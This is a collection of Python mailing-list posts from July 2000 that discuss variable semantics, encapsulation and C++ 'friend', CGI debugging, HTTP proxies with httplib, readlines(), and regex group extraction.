the value of a variable is an address.  This wasn't always the case.  In
the Lisp and Smalltalk communities back in the early 80's (as I recall), it
was generally understood that an interesting mutable data type (such as a
list) is implemented internally as an address.  The address isn't a
"reference" to a list.  The address IS the list.  But now it seems that
under the influence of C and especially C++, the notion that an address can
represent a thing (such as a list) is entirely out of favor.  Oh, well.

I prefer the old way of speaking.  With the new way of speaking, both
Python and Perl are "pass by reference", but Perl is somehow *more* so.
That's confusing.  And in the new way of speaking, in Python you don't pass
numbers, lists, and so on to functions.  You have to say that you pass
"references" to these things.  But when you're in a hurry, you skip this
"references" business and talk about passing numbers, lists, and so on.
This hasty way of speaking used to be considered correct, and I still like
it.

Regards,
Greg


From m.faassen at vet.uu.nl  Mon Jul 31 08:26:10 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 12:26:10 GMT
Subject: Perl is worse!
References: <200007280137.LAA30715@envy.fulcrum.com.au> <39838BAC.C855EDCB@san.rr.com> <czYg5.2851$6E.754249@ptah.visi.com> <8m1rka$tps$1@slb2.atl.mindspring.net> <8m1sh5$aic$1@nntp9.atl.mindspring.net>
Message-ID: <8m3r92$due$4@newshost.accu.uu.nl>

Aahz Maruch <aahz at netcom.com> wrote:
[snip]
> I think you misunderstood large chunks of this thread.  Python *does*
> have strict typing, but it is strict typing of objects, not of
> variables.  That is, variables can point to an instance of *any* type of
> object, but the objects that variables point to are *strongly* typed --
> the operations that can then be performed on that variable's object are
> highly restricted by its type (and/or interface if you want to get
> nit-picky).

The latter part is not nit-picky. The fact that interfaces are implicit
in Python and that these are checked and not the types (classes) really
is a step away from types. Definitely not strongly typed, I'd say!

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From dalke at acm.org  Thu Jul 27 19:25:19 2000
From: dalke at acm.org (Andrew Dalke)
Date: Thu, 27 Jul 2000 17:25:19 -0600
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCEEGAGMAA.tim_one@email.msn.com> <slrn8o1co0.k64.stianh@localhost.localdomain>
Message-ID: <8lqg6o$k2k$1@slb1.atl.mindspring.net>

Stian Husemoen wrote:
>If Python had the GPL-license we would never have gotten into this mess. My
>main argument for *not* using Python at first was that it didn't
>have the GPL attached to it... Yes, the GPL is more restricive but you
can't
>have both ways.

Right, and then I would still be using Tcl or start looking at
Lua or Ruby or other languages.  I've introduced perhaps a dozen
people to Python.  Thus, we might not have gotten into this mess
because there would be a lot fewer Python people, and BeOpen wouldn't
have tempted Guido.  (If I say more, I'm too afraid of inciting
a useless license arguement, so I'll.)

                    Andrew
                    dalke at acm.org







From dale at out-think.NOSPAM.co.uk  Sun Jul 23 10:11:12 2000
From: dale at out-think.NOSPAM.co.uk (Dale Strickland-Clark)
Date: Sun, 23 Jul 2000 15:11:12 +0100
Subject: Scope questions
References: <8l7vgk$73t$1@supernews.com> <snhoclpb6tt61@corp.supernews.com>
Message-ID: <8leugb$6bq$1@supernews.com>

Vary handy. Thanks

Dale Strickland-Clark


"Eric Jacobs" <none at none> wrote in message
news:snhoclpb6tt61 at corp.supernews.com...
> In article <8l7vgk$73t$1 at supernews.com>, "Dale Strickland-Clark"
> <dale at out-think.NOSPAM.co.uk> wrote:
> > Could someone help me out with some scope and instantiation questions?
> >
> > In moduleA we have:
> >
> > varB = 1
> > class classC:
> >     varD = 1
> >     def __init__(self):
> >         self.varE = 1
> >
> > As I understand it, varB appears when the module is imported and stays
> > around until the end of the program.
>
> It appears when the statement "varB = 1" is executed, which would be
> at import time since the statement is not in a def.
>
> The name varB will persist until it is deleted or the module is deleted
> (which will delete the namespace dictionary it is in.)
>
> >
> > When does varD appear? How long does it exist?
>
> When the statement "varD = 1" is executed. A class definition doesn't
> change the flow of execution. Since the statement is not in a def, it
> also gets created at import time.
>
> try...
>       class z:
>           print "hello world"
>
> It exists until it is deleted or the class is deleted (again, deleting
> the namespace dictionary.)
>
> >
> > In the main code I use the above module and have:
> >
> > import moduleA
> > varJ = moduleA.classC
> > varK = varJ.varE
> > varJ = None
> >
> > Again, as I understand it, varK contains a reference to varE in class
> > instance varJ.
>
> No, it does not contain a reference to varE. There is no built-in way
> to reference names in Python. Rather, it is assigned a reference to
> whatever object varE is referencing. (You didn't provide any code which
> would create a name varE in classC, so this probably won't work.
> self.varE refers to a varE in an instance of classC.)
>
> > What happens to varK when the instance reference in varJ
> > goes away?
>
> varJ is not an instance reference. It is a reference to classC. varK
> will continue to reference the object that varE was referencing even
> if the name varE is nowhere to be found.
>
> > Does the instance get deleted or is there still a reference
> > to it?
>
> There are no instances here, but classC will not be deallocated because
> it is still referenced in moduleA's namespace.
>
>
> If you had done:
>
>    funcK = lambda varJ=varJ: varJ.varE
>
> then the expression funcK() would be a sort of a "reference" to the
> name varE. In this case, varJ would have its reference count
> incremented because it is being referenced in funcK's default
> argument list, and so it wouldn't be deleted before funcK itself
> is deleted.
>
> Hope this answers your question.
>
>




From desnoix at my-deja.com  Thu Jul 20 10:08:19 2000
From: desnoix at my-deja.com (desnoix at my-deja.com)
Date: Thu, 20 Jul 2000 14:08:19 GMT
Subject: Class static variables
Message-ID: <8l714k$hjd$1@nnrp2.deja.com>

I'm writing a tool to translate a variety of OO
programming languages. Especially I target Python
but I am hesitating about the way to define
class-scope static variables. Could you suggest me
what is the best and natural form ?

Example: MyClass { static int a; }
- MyClass_a
- accessors + global var
- any other form

Does Python have any form of static scope (not
global/local) ?

Thanks, Guillaume

PS: if possible, email me a copy to
forums at memoire.com

http://www.memoire.com/guillaume-desnoix/alma/


Sent via Deja.com http://www.deja.com/
Before you buy.


From alex at magenta.com  Thu Jul 27 16:06:34 2000
From: alex at magenta.com (Alex Martelli)
Date: Thu, 27 Jul 2000 22:06:34 +0200
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com> <8ljrvu09t6@news1.newsguy.com> <l8rf5.1529$ck7.387235@nntp1.onemain.com> <8lma5602i08@news1.newsguy.com> <SQGf5.5281$c04.627774@nntp2.onemain.com> <8lnrpk0qoc@news1.newsguy.com> <65Pf5.329$SM4.36312@nntp2.onemain.com>
Message-ID: <8lq4v8016vm@news1.newsguy.com>

What "Mark Baker" <mbaker at 0x7a69.net> is writing today in
news:65Pf5.329$SM4.36312 at nntp2.onemain.com...:

> looking at friend not from within C++, but from within an abstract view of
> what it does.

Sure.  And what it does, is enable C++ designs to split a component's
functionality among several, closely-coupled classes -- i.e., implement
the concept that is variously called "component", "module", "package" --
while maintaining its encapsulation concepts with respect to anything
that is _outside_ of the package.

What Mark is basically claiming today is that this same purpose is better
accomplished in other languages:

> encapsulation. For me, the unit of encapsulation is the object. Whether

[I doubt he means what he says -- that two separate objects, i.e. two
instances of the same, identical class, should be encapsulated/protected
from each other -- he quotes Modula, Oberon, Eiffel, &c, which don't do
that].

> this displays itself at a class level (assuming the language has
> classes...) is relative.
>
> If you enjoy calling a series of coupled classes a component, alright. If
> you'd like to move encapsulation away from an object and instead attribute
> it to a collection of classes, ok.
    [...]
> Would you consider it better to provide fine grained access? That is,
> access to specific portions of a class, than to allow unrestrained access?
> Or do you think that because this isn't a violation to couple a
> class/function, that such granularity is unnecessary? Would this possibley


Contrast with this quote from his original message (in comment to mine),
which prompted me to further respond:

: friend is simply an evil way of violating encapsulation. It's not
analogous to
: modules, packages, or anything else. It simply provides a means of
violating
: C++'s encapsulation (usually for speed purposes, since you should be able

He started out claiming that friend is nothing but an evil way of violating
encapsulation, with nothing to do with modules/packages/"anything else" (the
term both Lakos and Martin use, and which I like although it's overloaded in
closely related domains, for this 'anything else', is *component*).

Now, and without ever specifically admitting that what I just quoted was
horribly wrong, he's changed from that position to friend being useful
_exactly_ for such purposes -- but there being better ways in other
encapsulation-oriented languages.

I'm not particularly motivated to debate various languages with Mark, nor
what are better or worse ways and means to enforce encapsulation; I do not
believe this would particularly illuminate the subject, i.e., whether
Python is 'wierd' for choosing not to enforce it (specifically, as in
the observation that started this sub-thread, by making it most natural
to use module-defined functions in lieu of class-static ones).


I *AM* quite keen to show that Mark's untenable position -- that friend has
nothing to do with component encapsulation -- has been quietly dropped.
friend is _ABOUT_ divvying functionality up between classes in a component,
while maintaining that component's encapsulation wrt other components.  It
has just about nothing to do with speed, everything with PRESERVING the
right kind/level of encapsulation.

And *this* is very important, because it helps to show what the right
kind/level of encapsulation IS -- the kind advocated by Lakos (which
in is view is maintained by a combination of C++'s encapsulation support,
including, crucially, "friend", and coding conventions such as "one
physical exposed/published header-file per component"), the kind most
encouraged by Python (without substantial enforcement, but mostly
through conventions), &c -- *component-level* encapsulation (in Python,
"component" being a module or package; in C++, a consistent set of
classes and functions declared in a single header-file; in Java, the
explicit language concept of package, including default accessibility
level, often called, guess what, 'friendly'; ...).

Languages vary widely in the amount of enforcement they attempt to
do regarding encapsulation (just as for other kinds, such as "type
correctness") -- from Python's "by-convention-only", all the way
to Eiffel's extremely rich, very-fine-grained access-control.  C++'s
"friend" is just one point along this continuum, as is Java's idea
of adding just one extra accessibility level to C++'s three, to be
specifically devoted to access by the package's other classes.  It
is, I feel, quite unadvisable to call any of these design choices
"evil" (or, for that matter, "wierd" -- or "weird", even:-).  It
does seem established by several languages' experience that:
- encapsulation can be useful, particularly in large projects;
- enforcement of it may be so crucial as to devote vast language
    machinery to it (Eiffel's stance), or so minor as to devote
    none (Python's stance), or of middling importance, deserving
    some modest amount of language machinery (C++'s and Java's);
- the crucial level for encapsulation in a large project is the
    component/package/module, not the single class, or class
    hierarchy -- even Eiffel, which is so utterly class-centric,
    amply recognizes this fact in its language-machinery.


In fact, my favourite approach to software development (and not
mine only -- it's definitely the growing trend!-) is to center
it on components, ideally exposing specific functionality to each
other through a dedicated language for interface definition (or
semantically equivalent meta-data).  But header-files will do,
if I'm using C++, and Python's modules and packages will do just
as well, if I'm using Python; the advantage of a dedicated IDL,
or meta-data, comes chiefly in a cross-language environment,
although it typically enforces encapsulation _where it really
matters_ (at the component's interface), which can be a nice
side effect too.


Back to 'friend' and how misguided it is to see it just as
a way to _violate_ encapsulation, rather than _enhancing_ it --
let me offer an analogy -- and one that not even Mark can claim is overly
friendly to 'friend'.  Say that I was discussing various kinds of loops,
mentioning, among several other languages, how in FORTRAN IV they are
implemented in terms of IF and GOTO.  And some wiseguy perks up and
rebuts that "GOTO is simply an evil way of violating control flow.  It's
not analogous to WHILE, DO, or anything else.  It simply provides a
means of violating FORTRAN's control flow (usually for speed purposes" &c.

Would I be "naive" to infer from this that the wiseguy doesn't understand
FORTRAN IV, and/or GOTO, and/or loops?!  Maybe, I guess -- it IS quite
possible that, while being highly experienced in each of these areas, the
wiseguy has just been partaking too richly of mind-affecting substances,
or is otherwise motivated to post assertions he knows to be false.  But,
I don't mind being naive in this sense: that of assuming, until and unless
forced to conclude otherwise, that people mean what they say, have no
dark, deep, hidden agenda, and are just stating their best understanding
of whatever issue is being discussed.  Thus in particular, that when they
counter my assertion:

"grouping by-module is more productive than by-class (the class is not the
natural unit of encapsulation, an issue that is also acknowledged by the
package concept of Java and the friend keyword in C++)"

with a blunt statement that friend has nothing to do with grouping by
module (package, component, ...) rather than by class, I will assume
that they don't know what they're talking about, rather than the only
alternative, assume they're deliberately lying -- just as if they
stated that GOTO has nothing to do with control-flow structures.


GOTO is, obviously to anyone skilled in the art, THE way that control
structures (e.g., loops) are implemented in a language lacking other
dedicated means for the purpose, such as FORTRAN IV.  It may well be
that control-structures are important enough to warrant more syntax
superstructure (I believe they are), which some languages (most modern
ones) offer in GOTO's stead, but that can never justify assertions
that GOTO's are not ABOUT control-structures.

friend is, obviously to anyone skilled in the art, THE way that
component-level encapsulation is implemented in a language lacking
other dedicated means for the purpose, such as C++.  It may well be
that encapsulation is important enough to warrant more syntax
superstructure (I believe it is not), which some languages (Java,
Eiffel, &c) offer in friend's stead, but that can never justify
assertions that friend is not ABOUT component-encapsulation.



Alex





From boncelet at eecis.udel.edu  Mon Jul 24 11:16:35 2000
From: boncelet at eecis.udel.edu (Charles Boncelet)
Date: Mon, 24 Jul 2000 11:16:35 -0400
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net>
Message-ID: <397C5DD3.437C4431@eecis.udel.edu>

Aahz Maruch wrote:
> 
> In article <tOid5.135713$HK2.2425898 at news20.bellglobal.com>,
> Olivier Dagenais <olivierS.dagenaisP at canadaA.comM> wrote:
> >How about:
> >
> >"twist", "merge", "smash", "glue", "dna", "ladder", "join", "match",
> >"collect", "pick", "lineup"???
> 
> I like "merge".

What's wrong with "tuples"?  That's the term used by M.A.L. in 
his package, mxtools.  It seems the most natural (and Pythonic)
to me.

-- 
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/


From hsl at tcp.co.uk  Mon Jul 10 12:36:42 2000
From: hsl at tcp.co.uk (Martin Rand)
Date: Mon, 10 Jul 2000 17:36:42 +0100
Subject: Is there any grid/table in Tkinter ?
References: <07ga5.11385$BS1.314666@brie.direct.ca> <j6jjms4ev3tok760njkhk550nd78rpn1oa@4ax.com> <Xlma5.11500$BS1.321585@brie.direct.ca>
Message-ID: <fjujmsoqkq86gng4uisslt7uh3cneboeq7@4ax.com>

On Mon, 10 Jul 2000 09:12:12 -0700, "Fanny Yeung" <fannyy at idmail.com>
wrote:

>Hi Martin,
>Thank for your reply. But I wonder where I can find Doug Hellmann's grid
>widget ?
>
Darn, I knew you were going to ask that! I shall have to stop being so
lazy and see where I downloaded it from...

Rummage, rummage... Oh, here we are, it's on the "Vaults of Parnassus"
site 
http://www.vex.net/parnassus/
under "User Interfaces/GUI/Tkinter Widgets", as "PmwContribD".
--
Martin Rand
Highfield Software Ltd
mwr at highfield-software.co.uk
Phone: +44 (0)23 8025 2445
Fax:   +44 (0)23 8025 2445


From cjc26 at nospam.cornell.edu  Fri Jul 21 16:32:29 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Fri, 21 Jul 2000 20:32:29 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <20000720124305.A1220@xyz.donetsk.ua> <slrn8ndk9n.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl> <slrn8nemu7.fs6.cjc26@synecdoche.sowrong.org> <u1z0oeall.fsf@ctwd0143.fitlinxx.com>
Message-ID: <slrn8nhd0o.j4i.cjc26@synecdoche.sowrong.org>

* David Bolen <db3l at fitlinxx.com> menulis:
| 
| > readlines() has an optional argument which specifies the approximate
| > number of bytes to read in at a time, rather than the entire file.
| > So something like
| > 
| > for line in file.readlines(8192):
| >     # process line
| > 
| > would only use about 8k of memory.
| 
| And only fully process files less than 8K in size.  The call to
| file.readlines(8192) returns the list of lines contained within the
| first 8K of the file (approximately), and that's all the 'for' is
| going to iterate over.  You have to repeatedly call file.readlines()
| again to keep reading the file, which puts you pretty much back in the
| original readline() mode, just with bigger chunks.

That doesn't seem to be true--readlines() reads the whole file whether
you specify a size argument or not.  For example:

>>> f=open("file.txt")
>>> size=0  
>>> for line in f.readlines():
...     size=size+len(line)
... 
>>> size
3509
>>> f.close()
>>> f=open("file.txt")
>>> size=0
>>> for line in f.readlines(512):
...     size=size+len(line)
... 
>>> size
3509


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From m.faassen at vet.uu.nl  Mon Jul 31 12:02:13 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 16:02:13 GMT
Subject: [3rd Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de> <39852224.FE658DC5@nowonder.de> <398763f2.270509351@news.online.no>
Message-ID: <8m47u5$hs4$1@newshost.accu.uu.nl>

Thomas Weholt <thomas at cintra.no> wrote:
> I just want to know if this is an open letter, like open for everybody
> to sign and say "Yeah, damn straight! Time to come clean, CNRI!" or
> something like that. Do I need to be a professor, doctor or a
> self-proclaimed guru to be on that signature-list? 

I don't think so. :)

[snip]
> I won't be disappointed, ok probably a little bit, if you just want
> serious, hard-core productive coders on your signature list, but as an
> open commmunity, I'd like to express my opionon somehow too.

I'm not a serious, hard-core productive coder, and I'm on that list. :)

I think you just need to yell (or perhaps send a directed email). I imagine
your post was actually enough.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From cjensen at bioeng.ucsd.edu  Thu Jul  6 13:50:54 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Thu, 06 Jul 2000 10:50:54 -0700
Subject: Hello Word in CGI
References: <3963C29E.76211EB7@bioeng.ucsd.edu> <3963E6D6.F47FA4D8@roguewave.com> <3964BC64.761858FA@bioeng.ucsd.edu> <3964C635.E730EB97@roguewave.com>
Message-ID: <3964C6FE.9BEC7ABB@bioeng.ucsd.edu>

Bjorn Pettersen wrote:
> 
> Curtis Jensen wrote:
> >
> > Bjorn Pettersen wrote:
> > >
> > > What you're seeing are the symptoms of Python having thrown an exception
> > > and the weblog not capturing all the information. The solution is to make
> > > sure Python can only throw where you can grab the exception and do
> > > something useful with it, like printing it to the browser...  Try the
> > > following (but make sure you can execute it from the command line first --
> > > one possible error is a SyntaxError, which this scheme will not save you
> > > from...)
> > >
> > > -- bjorn
> > >
> > > #!/usr/bin/env python
> > > print """Content-type: text/html
> > >
> > > """
> > >
> > > def main():
> > >     from time import *
> > >
> > >     print "<HTML>"
> > >     print "<Head>"
> > >     print "<Title>Hello World</Title>"
> > >     print "</Head>"
> > >     print "<Body>"
> > >     print "<H1>Hello World !</H1>"
> > >     print "<hr>"
> > >     print "<P>This is San Diego.<br>Localtime is", ctime( time() ) + ".<P>"
> > >
> > >     print "</Body>"
> > >     print "</HTML>"
> > >
> > > import traceback
> > >
> > > def execute(fn):
> > >     # make sure any errors are legible, and directed to the user.
> > >     try:
> > >         sys.stderr = sys.stdout
> > >         fn()
> > >     except:
> > >         print '<h1>Something went wrong!!!</h1>'
> > >         print 'Please send the transcript below to webmaster at your.web<p>'
> > >         print '\n\n<pre>'
> > >         traceback.print_exc()
> > >
> > > execute(main)
> > >
> >
> > I tried this.  I got the same errors in the log and in the browser.  I
> > took out the print line since it caused a discussion.  Any more
> > suggestions?  Thanks.
> 
> You do need the print line! The first thing your cgi must print out
> (modulo cookies) is "Content-type: text/html" followed by exactly two
> newlines (yes, I know there are situations where this isn't true, but in
> this case it is.. <wink>)

Sorry, I didn't say witch line.  I took out the print line with the time
in it.  So now it is a simple hello world script.  By the way, is,
print 'Content-type: text/html\n\n'
just as good as they way you have it?  I've tried both.

> 
> Check that:
> 
>  - your script is executable (by everyone)

It is. permissions are 775

>  - some webservers require a .cgi extension (a symbolic link to your .py
> will work)

I tried that and got the same errors

>  - python is where you think it is, and is executable (again by
> everyone)

from the unix prompt, I can run helloworld.py and it prints fine. 
Permissions on python are 755

>  - your webserver is set up to execute cgi scripts.

In the same directory as helloword.py there are Pearl cgi scripts that
run fine.

> If all that works, try the simplest possible cgi script, something like:
> 
> #!/usr/local/bin/python
> print  """Content-type: text/html
> 
> """
> print '<h1>hello world</h1>'

We tried this and got the same problem.
Anything else?  Thanks for the help so far.

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451



From lau at adtranzsig.de  Wed Jul 12 02:11:37 2000
From: lau at adtranzsig.de (Ralf Laukien)
Date: Wed, 12 Jul 2000 08:11:37 +0200
Subject: Using proxy
References: <396bd06b$1$jreare.trhraf$mr2ice@news.skynet.be>
Message-ID: <396C0C19.8F1C940D@adtranzsig.de>

The solution is quite simple:

import httplib
proxyhost = 'proxy'
proxyport = 8080

h = httplib.HTTP(proxyhost, proxyport)
....


Werner Geuens schrieb:
> 
> I want to retrieve a measurement logfile from a geological measure site at
> regular intervals. The document is available under http form. The function
> urllib.urlretrieve works very well, and cron takes care of the periodic
> launching.
> 
> But after on-site testing with a portable, I came back at the office. I
> tested the log file with my browser (all OK), then started the Python
> script and ... nothing.
> 
> Turns out it's a proxy problem. I have the needed permissions, do web and
> ftp trough the companies proxy all the time. But how do I go about that
> with python? I'm using Python 1.5.2 on WinNT and OS/2, and will be using
> it under Linux (SUSE 6.2 or 6.4) in a near future.
> 
> Any simple solutions?
> 
> --
> werner.geuens at skynet.be (Werner Geuens)
> Research is what I'm doing when I don't know what I'm doing.
>    Wernher von Braun.

--


From alex at magenta.com  Sun Jul 30 08:52:12 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 14:52:12 +0200
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8lvslc0mn8@news2.newsguy.com> <slrn8o74um.fjt.grey@teleute.rpglink.com>
Message-ID: <8m1evp22n4o@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o74um.fjt.grey at teleute.rpglink.com...
> On Sun, 30 Jul 2000 02:22:31 +0200, Alex Martelli <alex at magenta.com>
wrote:
> >And of course None can also be converted, it's just not converted
> >by a plain int(x).  But it just takes an int(x or 7) to fix that,
> >for example (if one wants None to be converted to 7...:-).
>
>     It is my understand that in an int(None or 0) what is happening is
that
> the None fails, the or kicks in and we're really int()ing an integer in
the
> first place, not actually converting the None.

There is no 'fail' involved (Icon is an interesting programming language
that models Boolean expressions as succeed/fail, but Python, like most
other languages, doesn't; its modeling of Booleans is rather in terms
of true/false).  What does it mean to 'convert' an immutable object
(such as a character string, a number, or None) to another immutable
object (ditto)?  Clearly, it means having a one-argument function (in
the mathematical sense of a mapping; syntactically, any expression),
where the object we are 'starting from' takes part, and which yields
as its result the object we are 'ending with'.  Presumably, if we are
using the verb 'convert', we are thinking of the result object as
somehow 'equivalent and corresponding' to the argument object in a
different domain.

The expression int(x or 0) yields a result depending solely on x (for
some values of x, it fails, i.e., raises an exception).  If x is a
non-empty sequence of decimal digits (that is not too long), it yields
the integer 'corresponding' to that sequence in decimal notation; if
x is None, it yields 0; if x is a floating-point number (that is not
too large in magnitude), it yields its integer-part; and so on.

So, _of course_ we ARE 'converting' whatever value x happens to refer
to (or, if failing to do so, an exception is raised).  The work is
done by the int builtin function if x evaluates to 'true' (e.g., any
non-empty string); if x evaluates to 'false', then int sees 0 as an
argument, so it just returns it.  What purpose is served (except a
feeble attempt at rhetorics) by maintaining that 'we are not actually
converting x' in either case?  Of course *we* are doing no such thing,
in a sense -- rather, the *program fragment* in question is doing so
(in accordance to language-rules, specifically the semantics of int
and or).  What a captious distinction to try to draw here!


> >Losing accumulated logs, and/or logging false data, would be utter
> >disasters.
>
>     You're speaking in absolute terms on something which is best
determined by
> the end user, not the language.  To me, for a lot of the logs I process,
no,
> it isn't a disaster.  It isn't even a minor annoyance.  It is just a speck
of
> dust on a rather large desk that I couldn't care less about.  Having the
logs
> processing puke on me, or any other of dozens of applications I can think
of,
> because of a inconsiquential burp in the data is the real annoyance.

If it's OK for logs to be destroyed, or made up of arbitrary data, then
the appropriate program to use is probably rm or whatever equivalent way
of deleting files your chosen platfor supplies (this will save disk
space compared to filling the logs from /dev/random).

Given you don't care about such wholesale destruction, what is the 'puke
on me' behaviour that is such a huge annoyance to you?  I assume you
refer to ERROR MESSAGES -- any indication that the failure (which you
do not care about, so it's hard to fathom why you're running the
program, or had it written at all) has taken place.  Very well, then,
o peculiar 'end user', append a 2>/dev/null to the program you're
running, if your platform supports that idiom.  In programming terms,
the most cost-effective program to satisfy such requirements is
    pass
but if your program must also satisfy sensible users, ones that
*desperately WANT* error indications, rather than silent corruption
of data, if errors occur, then it's also very easy: just write all
your processing as a function named dowork, and the main line of
processing as:
    try:
        dowork()
    except:
        if sensible_user():
            diagnose_error()

On the other hand, if you let undetected errors creep into the
data, there is no simple way to ever make your program at all
acceptable to the sensible users who care about the integrity
of their data (or else they wouldn't be bothering to process
them in the first place!).


> >bug is clearly the priority; if subtly-false data were being logged
> >instead,
>
>     Uhm, logs processing process logs for one of a variety of uses.  IE,
the
> data has already been logged, how can it be falsely logged again?

*instead*, not *again*.  If you're summarizing existing logs into
new more selective ones (as opposed to other forms of query), then
(if the program has subtle data-falsifying bugs) the subtly-false
data will be logged (into the new logs).

One is presumably processing existing logs to extract data upon
which business decisions will be based (if there is no interest
whatsoever in the data extracted, why is it being extracted?!).
Basing decisions upon false data is far worse than _knowing_ the
data are not available because of some error!


> >Why would you need to keep track of all things in the former
> >paragraph?  Just be explicit about what is to be done for each
> >of the cases it can be, and you're all set.
>
>     Except now you need to do tons of conversion at different levels
depending
> on what you do with the data.  You either type it up front and have it
fail
> later, or type it later dozens of times.  Neither is appealing to me.

This makes no sense to me.  What tons of conversion?  What dozens of
times?  I think the likeliest hypothesis is that you're tackling the
whole problem in a way that's easy to enhance, just as it was for
the key-into-dictionary issue (nothing particulary wrong with using
a string as key, but using the tuple directly is far simpler) and even
more for the extract-numbers-from-re-matches one (where any of a half
dozen or more alternative solutions were far simpler and easier than
the one originally considered).  So, try again, giving any example of
the 'tons of conversions' and/or the 'type it dozens of times', and
once again we'll presumably show how _it just isn't so_...


> >Furthermore, I keep pointing out that, if you call the groups method
> >of the match object, what Python returns for non-matching groups IS
> >UP TO YOU: it will return the argument you pass to groups, None if
> >you choose to pass no argument.  So, *what* is supposed to be 'sad'?!
>
>     I don't see where I can tell it to pass something other than None on a
> match.  The docs I read, (not here) state that it /will/ return None on a
> no-match, not that it /can/ and that you can override it.

Look at file match-objects.html in your Python docs.  The entry for
the groups method says, essentially:

groups ([default])
    Return a tuple containing all the subgroups of the match, from 1 up to
    however many groups are in the pattern. The default argument is used for
    groups that did not participate in the match; it defaults to None.

This seems quite clear to me!  Maybe your confusion comes from the group()
method (singular, not plural) that behaves differently.  So, if one method
does what you want and another doesn't, use the method that does fit your
needs -- that seems rather obvious advice.

Quoting from your message of 07/27, what you were doing was:

: var1 = int(match.group(1))
: var2 = int(match.group(2))
: var3 = match.group(3)        # This is never an int, always a string.
: if match.group(4):           # need to check since you cannot
:   var4 = int(match.group(4)) # int() a None
:
:     Maybe I am missing something, I mean this is my first script after
"hello

And the answer, yes, you ARE (were?) missing something.  One thing, if I
recall correctly, was to arrange the RE so that the sign (plus or minus,
which you were stuffing into var3) and the digits accompanying it (if any:
what you were stuffint into var4) got matched together.  Then, apart from
the likely inappropriateness of the variable names,

    var1,var2,var3 = map(int,match.groups(0))

becomes the most concise (and no doubt fastest) solution.

If, in another situation, you did need to extract both strings and
integers (possibly 0's in correspondence to no-matches) separately,
several other approaches offer themselves, of course.  For example:

def extract(match, indices=None, default=None, transform=None):
    results = []
    for i in indices or range(1,1+len(match.groups())):
        x = match.group(i) or default
        if transform: x = transform(x)
        results.append(x)
    return results

Of course, you can recast the body of this function in many
different ways, also depending on whether you have list
comprehensions (Python 1.6 or later), and on your favourite
stylistical tradeoffs between concision, readability, and
performance considerations.  But these half dozen lines, of
course, are not the essence; as long as their functionality
is there, packed in a reusable form (function or class),
and suitably general, then how exactly you implement that
functionality is a third-order issue.

Then, to extract certain groups as integers defaulting to 7,
    vara,varb,varc=extract(match,(1,4,6),7,int)
while others are extracted as strings defaulting to "foo":
    varx,vary,varz=extract(match,(2,3,5),"foo")


Alex





From lars.lundstedt at telia.com  Wed Jul 12 00:32:03 2000
From: lars.lundstedt at telia.com (Lars Lundstedt)
Date: Wed, 12 Jul 2000 04:32:03 GMT
Subject: SV: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net> <AIKa5.11232$dL5.177595@news6-win.server.ntlworld.com>
Message-ID: <7xSa5.536$652.12687@newsc.telia.net>

You probably did, but my ISP's Usenet server never showed it to me...it
didn't even show me my original post.
Ahhh...the wonders of the Internet...;-)

/LasseLu

richard_chamberlain <richard_chamberlain at ntlworld.com> skrev i
diskussionsgruppsmeddelandet:AIKa5.11232$dL5.177595 at news6-win.server.ntlworl
d.com...
> Deja vu ? Didn't I answer this question yesterday ?
>
> Richard
>
> Lars Lundstedt <lars.lundstedt at telia.com> wrote in message
> news:8aKa5.485$652.11285 at newsc.telia.net...
> > The subject line says it all. How do I do it?
> > Anyone who knows?
> >
> > /LasseLu
> >
> >
>
>




From hzhu at knowledgetrack.com  Fri Jul 21 21:21:55 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Sat, 22 Jul 2000 01:21:55 GMT
Subject: Discussion: new math operators
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu>
Message-ID: <slrn8nhu0m.qn.hzhu@rocket.knowledgetrack.com>

A summary is attached and the subject title is changed to make the thread
more intelligeable.

>Use of parentheses for matrix operators that Konrad Hinsen proposed
>appears to be the best solution I've seen so far. But perhaps the two
